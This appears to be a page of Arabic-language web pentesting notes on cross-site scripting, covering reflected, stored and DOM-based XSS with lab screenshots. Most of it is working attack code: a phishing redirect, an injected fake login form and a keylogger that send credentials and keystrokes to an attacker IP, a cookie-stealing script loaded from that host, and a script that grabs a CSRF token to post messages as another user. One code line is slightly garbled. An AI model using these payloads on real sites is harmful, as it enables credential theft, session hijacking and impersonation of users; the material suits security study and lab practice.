> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# تقنيات XSS

## XSS (منعكس):

> منعكس: يحدث هذا النوع من XSS عندما تنعكس البيانات التي يزوّدها المستخدم في استجابة HTTP دون تحقق مناسب. يتيح ذلك للمهاجم حقن شيفرة خبيثة في الاستجابة، والتي تُنفَّذ بعد ذلك في متصفح المستخدم.

* في هذه الحالة، يمكننا حقن شيفرة HTML كما في المثال أدناه: `اختبار <h1> اختبار </h1>`:

<figure><img src="/files/954750c51f10526a9ef8e772778544f678966c62" alt="" width="563"><figcaption></figcaption></figure>

* يمكننا أن نرى أننا تمكّنا من تعديل حجم النص باستخدام **h1** الوسم:

<figure><img src="/files/d0f04cfdcff73cabcaada19d487e969fdc80804f" alt="" width="375"><figcaption></figcaption></figure>

## XSS (مخزَّن):

> مخزَّن: يحدث هذا النوع من XSS عندما يتمكن المهاجم من تخزين شيفرة خبيثة في قاعدة بيانات أو على خادم الويب الذي يستضيف صفحةً معرّضة للثغرة. تُنفَّذ هذه الشيفرة في كل مرة تُحمَّل فيها الصفحة. إذا شغّلنا سكربتًا مثل الذي أدناه داخل نموذج، `<script>alert("XSS")</script>`، وحصلنا على التنبيه أدناه، فهذا يعني أن الموقع معرّض لهذا النوع من الهجمات:

<figure><img src="/files/ee39398c2e715a078936e4d1f077ea7807f9c0b4" alt="" width="563"><figcaption></figcaption></figure>

يمكننا إعادة توجيه المستخدم إلى موقع ويب معرّض وتنفيذ هجوم تصيّد:

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

هذا الكود بلغة JavaScript ينشئ نموذج تسجيل دخول على صفحة ويب ويرسل البيانات المُدخلة (عنوان البريد الإلكتروني وكلمة المرور) إلى عنوان IP محدد عبر طلب HTTP باستخدام `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'البريد الإلكتروني: <input type="email" id="email" required>' +
    ' كلمة المرور: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="إرسال">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/b6d4564146fb378444786e6f81bcbb163ce59175" alt="" width="563"><figcaption></figcaption></figure>

نستمع على المنفذ 80 باستخدام **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/90f360116964fec4aecf3968ee943de5c33d4630" alt=""><figcaption></figcaption></figure>

## XSS (القائم على DOM):

> القائم على DOM: يحدث هذا النوع من XSS عندما تُنفَّذ الشيفرة الخبيثة في متصفح المستخدم عبر DOM (نموذج كائن المستند). يحدث ذلك عندما يقوم كود JavaScript على صفحة ويب بتعديل DOM بطريقة تتيح حقن الشيفرة الخبيثة. يمكن للسكريبت أدناه التقاط جميع ضغطات مفاتيح المستخدم وإرسالها إلى **python3** خادم عبر المنفذ 80:

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

يمكننا الاستماع مع تصفية الأحرف المهمة فقط باستخدام **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/af183a0119ed3e3da47f58eae9e21581898af3ce" alt=""><figcaption></figcaption></figure>

***

للحصول على ملف تعريف الارتباط للجلسة من خادم tiers، ننشئ هذا الملف على جهاز الكمبيوتر الخاص بنا **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

في النموذج، نرسل هذا السكربت:

```html
<script src="http://192.168.71.128/test.js"></script>

```

نستمع ونحصل على ملف تعريف ارتباط الجلسة الخاص بالمستخدم:

<figure><img src="/files/1ad65403eb19056d6d606c7aa24c45ea107786d2" alt=""><figcaption></figcaption></figure>

لكتابة شيءٍ باسم شخصٍ آخر، يمكننا اتباع الخطوات التالية: اعترض الطلب باستخدام [Burp Suite](/ar/hacking-tools/web/burpsuite.md) وانسخ المحتوى المظلّل بالأحمر:

<figure><img src="/files/9c00f654903620092f48e6b0bb8a605a31b26b0b" alt="" width="563"><figcaption></figcaption></figure>

السكريبت أدناه ينفذ طلبًا إلى **GET** عنوان URL محلي، ويحلل استجابة HTML لتحديد **CSRF** رمزًا مميزًا، ثم ينفذ طلب POST ببيانات تتضمن رمز CSRF إلى العنوان نفسه. المتغير المشفّر بصيغة URL `بيانات` يرسل المعلومات إلى الخادم الذي نُفِّذ عليه هذا السكربت. من الضروري تعديل الـ `بيانات` القيم، والرمز المميز، وعنوان IP.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

في النموذج، نرسل هذا السكربت:

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

نستمع على المنفذ 80 باستخدام python3:

<figure><img src="/files/1a6e326c1909b15573fa3a1884e0f40ab026df42" alt=""><figcaption></figcaption></figure>

الرسالة **المرسلة باسم مستخدم آخر** تم إرسالها:

<figure><img src="/files/d6e4d5d314ee6ff994f5853e5c3d27e7b17c87ee" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
